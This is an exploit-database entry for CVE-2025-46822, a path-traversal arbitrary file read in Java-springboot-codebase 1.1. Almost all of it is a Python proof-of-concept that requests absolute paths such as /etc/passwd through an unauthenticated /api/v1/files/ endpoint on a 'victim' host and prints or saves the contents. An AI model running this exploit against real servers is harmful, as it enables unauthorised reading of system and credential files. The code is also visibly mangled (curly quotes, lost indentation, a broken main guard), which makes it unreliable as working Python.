Java-springboot-codebase 1.1 – Arbitrary File Read

• CVE-2025-46822

Exploit Title: Java-springboot-codebase 1.1 – Arbitrary…

# Exploit Title: Java-springboot-codebase 1.1 – Arbitrary File Read

# Google Dork:

# Date: 23/May/2025

# Exploit Author: d3sca

# Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase

# Software Link: https://github.com/OsamaTaher/Java-springboot-codebase

# Version: [app version] 1.1

# Tested on: Debian Linux

# CVE : CVE-2025-46822

#usage: python3 cve-2025-46822.py http://victim.com /etc/passwd

import argparse

import requests

from urllib.parse import quote

def exploit(target, file_path, output=None):

# Ensure the file path is absolute

if not file_path.startswith(‘/’):

print(“[!] Warning: File path is not absolute. Prepending ‘/’ to make it absolute.”)

file_path = ‘/’ + file_path.lstrip(‘/’)

# URL-encode the file path

encoded_path = quote(file_path, safe=”)

# Construct the target URL

endpoint = f”/api/v1/files/{encoded_path}”

url = target.rstrip(‘/’) + endpoint

print(f”[*] Attempting to retrieve: {file_path}”)

print(f”[*] Sending request to: {url}”)

try:

response = requests.get(url, allow_redirects=False, timeout=10)

if response.status_code == 200:

print(“[+] File retrieved successfully!”)

if output:

with open(output, ‘wb’) as f:

f.write(response.content)

print(f”[+] Content saved to: {output}”)

else:

print(“\nFile contents:”)

print(response.text)

else:

print(f”[-] Failed to retrieve file. Status code: {response.status_code}”)

print(f”[-] Response: {response.text[:200]}”) # Show first 200 chars of response

except Exception as e:

print(f”[-] An error occurred: {str(e)}”)

if name == “main”:

parser = argparse.ArgumentParser(description=”Exploit Path Traversal Vulnerability in Unauthenticated File API”)

parser.add_argument(“target”, help=”Target base URL (e.g., http://victim:8080)”)

parser.add_argument(“file_path”, help=”Absolute path to target file (e.g., /etc/passwd)”)

parser.add_argument(“-o”, “–output”, help=”Output file to save contents”)

args = parser.parse_args()

exploit(args.target, args.file_path, args.output)